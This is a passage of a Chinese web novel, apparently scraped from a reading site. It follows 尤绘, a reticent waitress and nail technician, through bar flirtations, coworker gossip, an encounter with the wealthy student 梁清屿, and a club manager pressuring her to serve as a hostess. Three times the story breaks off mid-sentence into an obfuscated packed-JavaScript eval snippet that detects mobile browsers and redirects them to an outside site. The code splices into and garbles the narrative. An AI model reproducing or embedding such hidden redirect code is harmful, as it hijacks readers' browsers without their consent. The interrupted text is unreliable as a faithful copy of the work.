而这次他甚至都忘了自己还有任务,一边讲一边跟着尤绘:“我还跟你说,你肯定想不到,就在昨天他们还找上老板,说能不能别唱抒情歌了,要咱们请个摇滚乐队和打碟的过来玩。” 似乎觉得特别不可思议,居然会提出这样的要求,男同事情绪跟着激动起来:“哇靠那不得翻天啊。” “还有还有,有几个客人还点名要我伴舞。”男同事指着自己,表情极其夸张,眼珠子都快爆出来:“我诶,伴舞诶,开什么玩笑啊。” 转进走廊,尤绘冷不丁一句:“跳的什么?” 男同事想都不带想的,脱口而出:“某抖上的原创摇。”说完他才反应过来不太对劲,看尤绘的眼神都变了:“你怎么知道我跳了?” 尤绘一点都不意外,听到反问后甚至还轻笑了声。 男同事理直气壮:“就跳了三分钟,给我五百块,要你你不跳?” 尤绘没吭声,男同事倒也没什么所谓,一张嘴还在不停的叭叭,尤绘没再接话,人已经来到更衣室门口。 她的手放在门把手上,见旁边这人似乎并不打算停下来,她转眸看向他,语调很淡:“我要换衣服。” 男同事这才反应过来怎么就跟到女更衣室门口了,这也太冒犯了。他连忙后退,甚至还做了个请的手势:“您换您换,我去吧台那等你。”等着人过去跟他唠嗑。 尤绘没应这句,推开了更衣室的门。 再出来时她已经换上了全黑的工作服,头发则是随意的梳了个侧丸子头。 她反手将更衣室的门带上,注意到走廊尽头,男老板边抽着烟,正跟人讲电话。 不知道是无所谓旁人听到对话内容,还是以为这附近不会来人,手机开的外放。 尤绘依稀听到电话那头的男性说:“你那人多我懒得去。” 男人的声音低沉,自带一股慵懒痞气的劲,很有特点。是那种听一次就会在脑海中无限循环的声音。或许这样的男人很适合说情话。 不过尤绘不是喜欢听情话的人,这种男人也只能骗骗单纯的小姑娘。 看到老板吐出烟圈,忍不住蹙眉问:“你昨晚干什么去了啊累成这样,感觉你就差最后一口气了。” 手机那头响起打火机点火的咔嗒声,好一阵才传来一句:“你说呢。” 男老板听到男人略微烦闷的语气,很快反应过来:“懂了,那是真挺折磨人的。” 话音刚落,尤绘从旁边经过,礼貌的跟男老板打了声招呼:“秦老板。” 男老板原本还在琢磨着怎么安慰人,心情跟着郁闷起来,这会儿听到尤绘的这声老板,郁闷的情绪一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137658|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消散。 他唇角牵起一抹笑:“嘿就来啦,今天到的挺早啊,不过我得先跟你打个预防针,今晚店里可能有点忙,要累了就把活儿丢给小淘,他今天可劲在那偷懒,我都还没说他呢,他还挺乐意听你吩咐的,你去帮我训训他。” 尤绘边听着,看到男老板握手机的那只手,甚至都直接垂落到了腿侧,可电话并没有挂断,那边的男人似乎怔了一瞬,没吭声。 尤绘点头嗯道:“那我先去忙了。” 男老板说好,还跟她招手,目送她离开。招的那只手上,手机那头突然传出男人意味深长的坏笑:“谁啊,谈对象了?” 这声一出来,男老板被吓得一激灵,才反应过来忽视了某人,他赶紧否认:“我店里的员工。”说着这话,他的视线依旧落在刚走远的尤绘身上。 看着她的背影,男老板像是想到了什么,捂住半张嘴,悄咪咪地:“我跟你说,这姑娘长得贼正点。”说完这句,他不捂嘴了,直接大摇大摆往休息室走,边走边说:“不过应该不是你喜欢的类型。” 男人并没有把这话当回事,像是不打算继续这个话题,只是玩笑似的回了句:“我喜欢什么类型?你又知道了?” 男老板还真认真思考了一下这个问题,不过电话那头的男人并没有给他回答问题的机会,岔开话题聊了两句就把电话给挂了。 - 挂完电话,梁清屿站在阳台上边吹着风,抽完这支烟又点了一支,将烟蒂捻灭后,他转身出了卧室。 客厅里,投影仪上正播放着综艺节目。女人敷着面膜在剥小龙虾,茶几上还摆放着一丢乱七八糟的调酒,都是她从网上学来的。 看到梁清屿朝着玄关处走,她有些懵,赶紧将人叫住:“你干嘛去啊,你不是说困了要睡觉吗?” 梁清屿没停下,已经来到玄关处换鞋,他回得随意:“睡不着,出去喝两杯。” 女人眼睛微微眯起,想到刚回到家那会儿她邀请他一块儿喝酒,对方很冷漠的说要睡觉,不陪。结果现在要自个出去喝? 她觉得这其中绝对有猫腻,决定套个话:“这么大晚上的和谁去喝酒啊。” 梁清屿已经换好鞋,从一堆车钥匙里挑了一把。 推门,跨出去一步:“您管得可真够宽的。” 与此同时的另一边,尤绘已经来到工作岗位。 一过来她就连着给同一桌客人送了三次特调酒,每回送酒过来,这桌的客人眼睛就没从尤绘脸上挪开过,但又碍着面子,不能过分,要不然不就成流氓了。 几人忍了又忍,为了想招跟她搭上话,没隔一会儿就下单一杯特调。 在他们桌第四次下单了一杯特调酒后,吧台后边的调酒师拿到单子,象征性的展示给尤绘以及话多的男同事小淘看。 调酒师大胆猜测:“八成是想要小羽的联系方式呢,谁家好人点酒这样点,三个男人,一回只点一杯,我估计他们是在想搭讪的招数。” 小淘不敢对客人有意见,但也是真的有点意见。 见尤绘似乎没把这事当回事,看着太好欺负了点,等会儿要是真的被要微信,大概率也会因为不好意思拒绝,被迫交换联系方式。 他觉得不能这样,这也太便宜他们了,他有尤绘联系方式还是因为在同一个工作群,加了整整一个礼拜,每天都要发送好几遍验证信息,对方才通过的呢。 这会儿他的心里极度不平衡,盯着调酒师调那桌客人的酒,他陷入了沉思。 好一阵才开口,特别认真的跟尤绘说:“小羽,等会儿要是他们找你要联系方式,你就说你有男朋友了。” 闻言,尤绘扭过头,唇角轻扯了下,像是被逗笑一般,直白戳穿:“然后要你假扮我的男朋友是吗?” 此话一出,小淘额了数秒,兴许是没料到尤绘会这么直接,他还以为自己伪装得很好呢。 现在他也只能尴尬的笑了两声,挠着头:“我是觉得这样说应该比较方便拒绝。” 尤绘说话是一如既往的直接,没有什么弯弯绕绕,面上情绪也淡:“你挺不了解我这个人的,如果我会觉得不好意思,那就不会在你持续不间断加我好友,并且我俩几乎每天都会见面的情况下,依旧不点通过,如果不是秦老板的意思,你今天都不会有我的联系方式。” 调酒师已经将酒放到了托盘上,听到两人的对话,准确点来说应该是听到尤绘的这番话,他都替小淘冒冷汗。 之前工作小群里就有人蛐蛐过尤绘,说她总是拒人于千里之外,明明长得乖巧,应该是可爱软萌的类型,不曾想调子比天高。 这会儿调酒师也没敢吱声,偷偷瞄一眼左边,又偷偷瞄一眼右边。正想着打圆场,尤绘跟没事人一样,端起托盘就往那桌客人那去。 调酒师将目光落到小淘身上,隔着吧台拍了拍他的肩膀:“没事没事,你肯定还是有机会的,我估计小羽喜欢的肯定是那种温柔的男孩子,你体贴一点,说话软一点,跟漂亮姑娘打交道嘛,大多都是日久生情。” “真的吗?”小淘没了自信,好吧他一直都没有。 5. 没印象 接下来的半个多小时,尤绘忙前忙后了好一会儿,除了去各个卡座送酒送小食外,还被后厨叫去帮忙倒了垃圾。 又过了一阵,清吧的门被推开,梁清屿单手抄兜,踱步来到角落的专属卡座。 刚在沙发上坐下,正翻看着酒单,桌面上的手机,屏幕骤然亮起,有一条微信消息弹出。 他没在意,直到屏幕亮了数秒。他拿过来解锁一看,是梁宗元发来的。 看到发消息的这人,以及他说的那些恶劣至极的话,梁清屿的头又有些止不住的隐隐作痛。 他没回消息,手机往旁边沙发一丢,抬手按了按太阳穴,试图缓解疼痛。 一些破事吵了得有三个晚上,吵又吵不明白,电话里吵不够,那老家伙过来出个差,逮住人当面也要吵一顿,可以说昨晚几乎没睡几个小时。 在身体以及精神都极度疲惫的情况下,在床上躺了十来分钟,却死活都睡不着。 这会儿看到梁宗元的消息,梁清屿更是没了丝毫睡意,烦都快烦死了。 他将酒单合上,准备叫店员过来,一抬头就注意到斜靠在吧台旁的那位美甲师。 全黑工作服穿在她的身上,原本身材就单薄瘦小,收腰的设计更显腰身比例。她对面站着个同样穿工作服的人,那男生搓着手指,正小心翼翼跟她说话。 梁清屿对小男生追姑娘这种戏码没什么兴趣,很快便收回视线,将手机捞过来,扫码下单了几款酒。 同一时间,调酒师将已经调制好的酒放到桌上,并抬了抬下巴示意不远处的位置:“又是那桌的。” 尤绘没什么特别的反应,这是她的工作,只要对方不越界,她会装作什么都不知道。 但一旁的小淘明显不乐意了,看到尤绘将酒放到了托盘上,他想去抢那杯酒,才刚伸出手,尤绘像是早就料到般,抬手,动作迅速且干脆地打掉了那只探过来的手。 她面上没有多余的情绪,端起托盘,转身,撂下一句:“用不着。” 被打了这么一下,小淘整个人直接傻在原地,看着尤绘已经踱步过去,他呆愣愣地问调酒师:“她是怎么知道的?” 调酒师耸耸肩,什么也没说。 来到卡座前,尤绘将托盘中的酒放到了桌上。 刚准备转身离开,三人中长相稍微出众的一位穿红色T恤的男生鼓足气,主动开口搭讪:“你好啊小姐姐,请问你等会儿几点下班呀,方便约吗?” 此话一出,卡座另一侧的锅盖头男生,抄起手边的一包抽纸就往红T恤男生脸上砸。 啪——! 红T恤男生明显被吓了一跳,倒也不是砸得多重,就是完全没有料到会来这么一出,他甚至有些气过头,好不容易找着机会搭讪,还被朋友拿东西砸,躲又没躲掉,真是丢脸丢大发了。 他脱口而出骂了句:“艹,你他妈干嘛呢。”边骂,他将怀里的这包纸巾重重丢回去。 旁边一直沉默的戴眼镜的男生见事态不对,两只手挡在两人面前:“你俩别冲动啊,咋了这是,我属实没看明白啊,咱也没对这场戏的剧本啊。” 很快,这动静就引得周围人纷纷投来目光,其中包括不远处卡座里,翘着二郎腿,偏头点烟的梁清屿。 他的视线落在尤绘身上,看到她一副事不关己的样,甚至表情中还略微有些嫌弃。 紧接着,拿纸砸人的锅盖头男生解释道:“你不会说话就闭嘴吧,说的话太难听了,也不怕冒犯到人家。” 话音落,他也不给红T恤男生说话的机会,瞬间换了副嘴脸,笑眯眯地跟站在一旁的尤绘说明情况:“我兄弟不是那个意思啊,就是想问问你能不能交个朋友,然后平常不上班的时候有没有什么娱乐活动,如果合拍可以约着一起出去玩。” 红T恤男生听了这话,不自觉开始反思,之前自己好像的确有些冒犯了,但脸上还火辣辣的疼,他语气依旧一般:“那也不带打人的啊,粗鲁的家伙。” 戴眼镜的男生思来想去还是决定站出来:“小姐姐,能交换个联系方式吗?我们都是正经人,如果你对打台球,爬山,打麻将感兴趣,我们可以多叫几个朋友组局,带你一块儿玩。” 看着这几位拙劣的搭讪方式,尤绘的眼神中透露出一丝冷漠。 沉默的这么几秒钟时间里,三人的心都提到了嗓子眼。 尤绘看得出他们此刻的心理状态,只是扫了眼:“你们不是我喜欢的类型,做朋友也算了。” 明明是意料之中的结果,但红T恤男生还是慌了,莫名有种不能白被砸了的感觉。 他急忙叫住尤绘:“妹妹,那你喜欢什么类型的男生啊,我就问问,没有别的意思哈。” 尤绘依旧那副冷淡样:“我喜欢不搭理我的。”话音落,她拿着托盘转身就走,留三人大眼瞪小眼。 此时不远处,站在吧台前的小淘机械般看向调酒师:“她喜欢不搭理人的类型。”不是温柔款啊。 调酒师赶紧偏开视线,当什么都没发生,并在心里默默告诫自己,别再瞎出主意了,尤绘真的不是一般人能追上的。 搭讪小插曲结束,众人收回视线,继续各玩各的。 刚看完一场戏的男人,手腕靠在桌子边沿,轻抖了下烟灰,视线跟随着从卡座到了吧台。 直到秦老板从后边休息室小跑过来,往沙发上一坐,就要揽他肩膀,被人抢先一步躲开,并推了一把。 梁清屿微蹙眉:“别靠我,坐远点。” 秦老板笑两下,屁股往旁边挪:“真是稀客啊,你咋过来了?不是嫌吵不来的呢。” 秦老板说这话的时候,梁清屿余光瞟到,前不久刚拒绝完异性搭讪的女服务员端着托盘走了过来。 他换了个姿势,懒散的往沙发后一仰,翘着的腿有一搭没一搭的晃着,他将手臂靠放在大腿上,指间还夹着燃了半截的烟。 很快人就走到了跟前。 她将托盘放到桌上,端起富士山杯,将白色液体的酒放到了男人面前,微微垂眸向他介绍:“这杯是破冰,由白朗姆,151朗姆酒,蓝橙酒,柠檬汁调制。” 介绍完这杯,她又从托盘上端起一杯液体成粉色的酒,将其放到桌面,再推到男人面前:“热烈之吻,由龙舌兰酒,菠萝汁,柠檬汁,百香果糖浆,红石榴糖浆调制,表面撒了少许的肉桂粉。” 梁清屿总共点了四杯特调酒,尤绘一一介绍完,没看人,说完慢用,拿着托盘转身离开了卡座。 梁清屿的目光再次停留在了那道背影上,不等秦老板说些什么,他懒洋洋回:“睡不着,过来喝几杯。” 想说的话被噎了回去,秦老板的注意力很快转移,甚至有点没反应过来。电话里他的声音明明是有气无力的,怎么就睡不着觉了呢。 当时打去电话的时候,秦老板都以为自己要死翘翘了,毕竟如果换个对象,电话是打给某位少爷,也绝对逃不掉一顿好骂,结果梁清屿居然还陪着聊了两句。 想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137659|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这,秦老板下意识问了句:“少爷人呢,怎么没叫他陪你。” 梁清屿仰头,一口气喝掉半杯酒。 他将酒杯放下,思绪在乱跑,兴许是累着了,好一阵才慢悠悠地说:“不清楚,估计也在为睡眠问题发愁。” 也是这会儿,略微有些突兀的手机铃声响起。他瞥了眼沙发上的手机,屏幕上显示来电人备注:纯。 梁清屿磨蹭了一阵才去拿手机,按完接听键手机还没贴上耳朵,女人命令式的话语就从那头传了过来:“你明天去趟美甲店,我刚刚才发现我有东西掉在人家那了,你去帮我取回来。” 闻言,梁清屿的视线再次落到了吧台:“什么东西?” “就一条手链,你记得啊,我后天晚上要戴的。” 电话被挂断,梁清屿转着手机,耳边是秦老板的说话声,他没认真听,一直盯着某处。 - 隔天下午,刚忙完的尤绘正坐在店里的休息间吃着早午餐。 此时休息间的门是敞开的,人进人出,一个两个都忙得不行。 尤绘不急不慢吃着卤肉面,手机平放在大腿上,屏幕上是某软件的后台数据。 她正分析着最近几条视频的流量,依稀听到前台那有人在说着什么,对方好像还是个男的,不过对话声没一会儿就消失了。 几分钟后,店长从另一边的工作区域小跑过来,快速敲了两下休息间的门:“小羽,取手链的客人来了,我这会儿忙不开,你去帮客人拿下东西,就在前台上锁的抽屉里。” 话音落,店长也不管交没交代清楚,已经转身离开,回去继续给客人种睫毛。 尤绘吃掉最后一口面,擦完嘴,起身去储物柜里拿前台抽屉的钥匙,再踱步来到休息间门口。 一过来她便注意到前台那,正低头玩着手机的男人,修长的双腿随性地交叉着放,他穿着一件藏青色短袖,脖颈处没有任何多余的配饰,裤子是深灰色工装阔腿裤。 明明是很休闲青春的穿搭,这人穿出来感觉却完全变了,浑身上下都透着股痞劲。 尤绘的视线没在他身上过度停留,已经绕进前台,打开了上锁的抽屉,从里头拿出那条带钻的手链。 她一手关上抽屉并上锁,一手拎着那条手链,递出去:“呐。” 闻声,梁清屿将已经锁屏的手机揣进兜里,抬眸,和她的目光相撞。 下一秒,他的视线落到那条手链上,刚准备接,尤绘突然将停在半空的手收了回来。 梁清屿眼神微微一凝,试图理解着什么。 也就在这时,尤绘不咸不淡问了句:“你是她什么人?” 四目对视,梁清屿皱起眉,眼里明显透出不解和疑惑。 尤绘还在等着他的回答,那双盯人的眸子深邃,淡漠,又隐晦不明。 而梁清屿神情中的不知所云,让尤绘觉得有趣儿。 她看得出,或许他误会了什么。 她的语调一如既往,又让人捉摸不透,却也是很认真地解释:“要不然我怎么知道你是不是骗子,这东西可不便宜。” 听到这话,尤绘注意到他瞳孔里闪过的一丝不悦,痕迹很淡。 见人还没回答,尤绘轻挑了下眉,像是催促,又似其他。她明明只是很单纯的问出这个问题,完全没有其他的心思。 但梁清屿却嗤了声:“你没见过我?” 尤绘的双眸不惨任何杂质,很平静的回复:“抱歉,没什么印象。” 6.脾气差 话音落,整个空间像是被按下暂停键。 梁清屿的脸色在这一刻,变得异常难看。 兴许是尤绘说的这话过于轻飘飘,让人不经想到昨晚,她到卡座送过两回酒。 真一点儿印象都没有? 不知对视了多长时间,尤绘似乎并没有要挪开视线的意思,就那么直直盯着,像是想从梁清屿不可置信的眼睛里品出些别的东西。 也是这会儿,梁清屿的眉心拧得越发厉害,迎着她直勾勾的目光,好半天才一字一句道:“她是我姐,亲姐。” 尤绘听着,眉尾再次挑起:“弟弟啊。”说这话时,她语调中的玩味没有丝毫藏着掖着的意思,又或者说,这份玩味更像是故意的。 梁清屿在听到这声弟弟后,整个人明显僵了一瞬,过了好一阵他的神情才逐渐恢复,语声低沉:“不信?” 在他问出这句话的前一秒,尤绘就已经收了表情,整个人再度变得寡淡,吐出一个字:“没。”随后将手链放到了前台的桌上。 梁清屿垂眸瞟了眼桌上的东西,那条带钻的手链隔绝在两人之间,而尤绘早已从抽屉里拿出预约登记本。 他没再说什么,拿上东西,将其随意揣进兜里,转身朝着楼梯口的方向走。 人前脚刚走,后脚一穿着工作围裙的小妹妹就凑到了尤绘边上。 如果没有记错的话,这小妹妹还没有取到合适的名字,现在在店里的代号是02。 尤绘刚想绕道离开,02见那人走得没了影,略微好奇的问道:“师父,你们刚刚在聊什么呢。” 店里新招的员工里,属她最八卦。 听到她这么叫自己,尤绘下意识蹙眉,打心底里没有适应被人这样称呼,实际上她并没有答应店长要收徒。 此刻,尤绘也只是瞥了02一眼:“刚刚布置的任务完成了吗?” 话音刚落,02秒变正经,立马做出静声的动作。不闹了,麻溜跑休息间去了。 等她进了休息间,里面很快传出三两个同事的议论声,话题围绕着那位帅得有些过分的男人展开。 挑起话题的是店里打探消息有一手的玫瑰。 对方握着得来的消息,语气有些得意:“我找人打听了,那帅哥就是咱美甲店隔壁学校的。” 小翠一听,来了兴致:“我靠,我听说读那学校的有一半的都是有钱人。” 玫瑰:“好像是诶,那个富婆姐姐也是隔壁学校的。” “那你朋友还说什么了?”接话的里里动了小心思,试探意味明显。 只可惜玫瑰的思维模式太单一,没察觉出什么,只说:“大概就是说但凡认识他的人都还挺怕他的,据说他脾气差,手段狠辣,反正挺不好接触的。” 听到这个回答,里里有些坐不住了,但又没好意思直接问,磨蹭好半天才开口说:“我其实是想知道……他好追吗?” 话音落,玫瑰瞬间瞪大了双眼,干脆利落地朝里里头顶浇了一瓢冷水:“都说不好接触了,这事你就别想了,他真的很难搞定的,追他的姑娘两双手都数不过来,人家是看都不带看一眼,眼光可比天都高呢。” 像是担心里里依旧有这方面的想法,说完这句话,玫瑰抓住她的手,再次强调:“而且啊,面对主动巴结,想攀关系的人更是不留情面,很坏一人!” 里里知道啊,帅哥哪有容易追的,但她还是有些不服气,嘴巴不自觉撅起:“又一个眼光比天高的?” 一旁听得津津有味的02脱口而出问了句:“还有谁眼光比天高啊。” 在场的几人几乎异口同声道:“你师父啊。” 里里还特别补充道:“你师父她调子可高了呢,你没事别去找她,她不爱搭理人。” 02有些懵,边点头又觉得不对啊,其实也没有她们说的那么冷漠吧。 议论声还在继续,完全没有要停下来的意思。 而此时休息间外的尤绘,听完她们背地嚼舌根,正准备去接待新顾客,就看到店长怒气冲冲地走了过来。 下一秒,休息间的门被坚硬的拳头用力敲响,嘭嘭两声震耳欲聋。 店长一点情面不留,对着几人吼道:“能干干不能干就走,你们是来工作的,不是来聊八卦的。多少客人在外边等着,叫谁谁都不应,这么不想干了就赶紧收拾东西滚蛋,一天接不了两个客人,积极性没有,技术也半吊子,能多学学人家小羽吗?” 店长劈头盖脸的责骂让几人抬不起头。 兴许是休息区距离工作区有一定的距离,也不担心被顾客听到,店长把难听的话全都说了个遍。 不知被训了多久,她们的脸越涨越红,直到有顾客过来喊店长过去。没辙,临走前她再次指着几人警告:“一人接待一个顾客,等会儿我来检查。” 店长前脚刚离开,后脚里里就嘁了一大声,白眼都快翻到天上去了:“小羽小羽小羽!张口闭口就是小羽,她不就长得漂亮技术好嘛,有什么了不起的。” 话音落,小翠余光注意到小羽就在不远处,这距离加上这音量,听不到就奇了怪。她赶紧拉了下里里的衣角,提醒了一句:“你快闭嘴吧,也不怕人听到。” 里里才管不了那么多,架子摆出来有明显的挑衅意味,还故意加大音量说:“听到咋了?” 说着这话,几人出了休息间。 预约了里里的顾客这会儿已经坐在位置上等待,里里不急不慢走过去,看到旁边工位上坐的正是店长的心头爱。 她冷哼了声,边坐下,还怪理直气壮的说:“小羽,把你的打磨头给我用用。” 里里的手都摊开伸到面前来了,尤绘看都不带看一眼,声音冰冷道:“借不了。” 也就这么一句话,里里对面坐着的顾客很明显投来了异样的目光,弄得里里脸色极为难看。 她有些气上头,不可思议的开口:“你说什么?” 尤绘整个人依旧冷清,缓慢掀起眼皮瞥过去一眼:“我说借不了。” 看着尤绘长得乖顺样,说出来的话却让人这般难堪,里里这会儿真想刺破这女的的脸,让大家都看看她这人多么的装! 只是不允许她这样做,这一排的顾客一个个就都看了过来。 里里的脸颊一瞬间涨得通红。 这会儿是上班时间,再这样下去免不了被店长臭骂一顿,但她又忍不住怼上一句:“呵,小气鬼。” 尤绘听着,手上动作没停,只冷冷嗯了声:“你大方,欠娇娇的五百块连本带利一起还上?你这么大方也别总拖着了,再拖下去你都该装失忆了,也好意思?” 尤绘说话的声音不大,其他区域听不听得到不知道,但待在这的人很显然是听到了的。 埋头苦干的美甲师们不敢搭话,对面的顾客们更是做好了看戏的准备。 也因如此,这块区域陷入了死一般的沉寂,只有打磨机滋滋啦啦的声响。 而里里对面的顾客见里里有些难堪,有意帮忙解围,将手机递过去:“我做这款。” 里里没吭声,接过手机就开始走神,看图看了好半天,胸口一直堵着慌,正琢磨怎么给尤绘下马威。 只是下马威还没给上,等这位顾客一走,里里就被店长叫去谈话。 谈完话,里里憋着一肚子气,工作围裙都来不及脱下就提前下班了,而娇娇也带着好消息过来了。 她往尤绘肩上轻轻一靠:“嘿嘿,钱还上了,店长从里里工资里扣的。” 尤绘应了声,反应不大,正做准备接下一个客人。 见状,娇娇看了眼时钟:“靠,你今天还要加班啊。”不等她继续说什么,男朋友的催促电话就打了进来。 她边接电话边站起身,临走前还不忘跟尤绘说:“谢谢啦,回头请你吃饭哈。” - 这天晚上尤绘在美甲店加班到快零点,回家的路上刘许珍的电话接连不断地打进来,语音也是一条一条的往外蹦。 尤绘骑着车没法回消息,只点了几条短小的语音听。十秒的语音里骂了十几个艹,伴随着把全家都问候了一遍,不知道的还以为俩人没血缘关系呢,真是狠起来连自己都不放过。 尤绘懒得回,也没再听。 将自行车停在弄堂外,她边往出租屋走,随手点开了西沃大学的论坛。 往下翻了没两页,就看到某位匿名用户发布的一条有关7y.的ins截图。 总共七张照片,内容主要以赛车和穿搭为主。他并没有刻意炫富的癖好,但每回发点什么在ins上都会被细心的校友们扒出来,找照片中的亮点,这次的亮点在他开的那辆车的后视镜上。 那儿明显站着个人,是少有的,在他动态里出现的异性。 与此同时的另一边,梁清屿从美甲店取完手链后并没有第一时间回家,被朋友叫去台球馆打了一下午的台球,完事又去唱了歌,顺便吃了个夜宵。 输密码开入户门的时候已经过了零点。 他刚迈入玄关,客厅里正吃着麻辣小龙虾的女人当即探头看过去:“你怎么这么晚回?出去玩又不带我是吧。” 梁清屿没应这话,慢慢悠踱步到客厅,将兜里的手链掏出来,随手丢在了茶几上。 刚准备转身回房间,女人不知道是受了什么打击,冷不丁一句:“你还是别跟我住一块儿了,搞得都没人敢追我,你老姐我已经单了快半年了!” 像是听到了什么天大的笑话一样,梁清屿没忍住笑出一声,轻睨着女人:“你赶我?” 女人一本正经嗯哼道:“有问题?” 梁清屿无话可说:“梁纯,你要不听听你说的是人话吗?这他妈是我的房子。” “那咋了?你住小靳少爷那去不行?”说到这位小靳少爷,梁纯突然想到了什么,也不让梁清屿插嘴,抢先一步问道:“哦对了,你之前让我找的心理医生是干嘛的?他病了还是你病了?” 闻言,梁清屿顺势往单人沙发上一坐,拿了罐啤酒,单手拉开拉环:“没事儿,别问了,多管闲事落不是的道理懂吗?” 他仰头将啤酒灌入口中,听到梁纯转移话题问起了别的:“那你这次暑假回不回家啊?” 一提这事梁清屿就头痛,又猛猛灌了几口酒下肚:“不回了,你老爹不欢迎我。”话音落,他将啤酒放到茶几上,起身朝着玄关处走。 梁纯的视线跟随着他:“这说的哪门子话啊,他不也是你亲爹吗,你俩吵吵差不多得了,家还是要回的。” 见梁清屿没有要停步的意思,已经走到玄关处开始换鞋,她赶紧将人叫住:“不是,你刚回来又要去哪啊。” 梁清屿没应这话,开门走人。 半个多小时后,霍思顿顶层套房的门铃被按响。 梁清屿站外边等了得有一分多钟,门终于被打开。 开门的人刚洗完澡,周身热气腾腾,他只简单套了件白色短袖在身上,发尾处还湿漉漉地滴着水。 看到人,梁清屿一点客气不讲,直接就往里进。 被推到一旁的男人微拧着眉,反手将门带上:“你怎么来了?被你姐赶出来的?” 两人前后脚来到客厅,梁清屿往沙发上一坐,翘起腿,比在自个家里待着还自在随意:“那房子送她了,先在你这凑合两天,周末我再去买套房。” 说这话的间隙,他看到茶几上摆放的几个药盒:“药吃着怎么样,有用吗?” “一般。”男人微倾身,从茶几上拿了盒烟,抖出一根咬在嘴边。 听到这句,再看到面前男人明显消瘦的脸颊,梁清屿沉默了许久。 他这发小啊挺闷一人的,遇到任何事都不愿意说,旁人问起了也只会说没事。 随着打火机点火的咔嗒声响,梁清屿开口道:“你要不试着从问题源头想办法呢。” 男人没吭声,边抽着烟,边摆弄他的手机。 - 之后的半个多月,梁清屿算是松了口气,熬过了期末周,梁宗元也终于消停下来,没再找麻烦。 自打两人断了联系,日子过得那叫一个舒坦。这些天梁清屿几乎就没闲下来过,把能玩的都玩了个遍。倒也挺巧的,他总能在各种娱乐场所看到那位美甲师的身影。细数她最少打了三份工,真的有时间休息吗? 不过梁清屿对他人的私事并不感兴趣,转头便将其抛到了脑后。 日子一天天过,七月初的一个礼拜二,梁清屿的圈内好友打来电话,问今晚的生日局要不要去唱歌。 梁清屿没什么所谓,他这人不太爱过生日,每年的生日局都是朋友组织他去参加,这么说起来,他更像是个陪玩的。 此时另一边,尤绘刚从美甲店下班,正骑着共享单车往市中心去。 半小时的路程,单车停在了一家名叫刻冠的娱乐会所附近。 还完车,尤绘拎着包往会所赶。这段时间她一直在这兼职,当初决定在这里工作的原因很简单,工资是日结,就站在前台,一晚上能给开五百块,还算挺多的了。 只是这里管事的男的实在太流氓,长得贼眉鼠眼,头顶上光溜溜没几根毛,她不喜欢,已经决定干完这个暑假就不干了。 进到大堂,尤绘乘坐电梯来到三楼,刚换完工作服站到岗位上,挺着啤酒肚的男经理就慢慢悠悠走了过来。 一旁的女同事见状,连忙鞠躬问好:“经理晚上好。” 男经理没功夫搭理她,正盯着尤绘看。 尤绘早有察觉,但装没看着,正认真对着手上的账本。 男经理有些不乐意了,跟没骨头似的撑在前台,一双眼没从尤绘身上挪开。 见她也不打招呼,一点礼貌没有,除了有一副好皮囊什么都没有。 他轻咳一声提醒道:“今晚客人多,你等会儿去包间送个酒。” 话音落,尤绘压根儿不理睬,还在做着手头上的事。 旁边的几个同事看到男经理的脸色逐渐变得阴沉,没忍住一个劲的瞟,像是在等着好看戏。 男经理来了脾气,被无视了这么多次,他这脸实在没地儿搁,语气恶劣道:“耳聋啊,我跟你说话你没听到?” ‘到’字才刚出口,尤绘突然抬起头,面无表情的说:“我不是陪酒的。” 男经理没打算给尤绘留面子,嗤了声:“有什么区别,做前台的哪有去陪酒赚的多,要你去你就去,这是给你翻身跨阶级的机会啊。” 这说的什么狗屁话。 尤绘在心底冷笑,说话的语气不带任何温度,跟她温柔乖巧的长相形成鲜明的对比:“不陪。” 男经理才不管那么多:“你听话点,到时候给的小费我不抽,220号包间,赶紧去送酒。” 说完这话经理就准备走了,谁曾想下一秒,尤绘再度开口:“我说了不陪,听得懂吗?” 此话一出,不等周围同事看笑话,男经理转身吼道:“那你别在这里干了!” 像是早就在等着经理发话,尤绘真就收拾东西准备走。 也是这时,前台桌上的对讲机里传出声响,尤绘刚拿起,男经理直接将对讲机抢了过来,不管不顾直往地上砸,对讲机瞬间被摔得稀巴烂。 男经理怒气冲冲指着尤绘:“你被开了,可以滚了!听懂了吗?” 话音刚落,底下办事的人从电梯里出来,小跑到经理跟前,附耳说:“肖经理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169434|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁少今晚要来,已经在路上了,包间里几位老板让咱给安排点活儿。” 经理一听,视线再次落到尤绘身上。 看着她漂亮的脸蛋,一副人畜无害的乖巧样,没人比她更合适了。 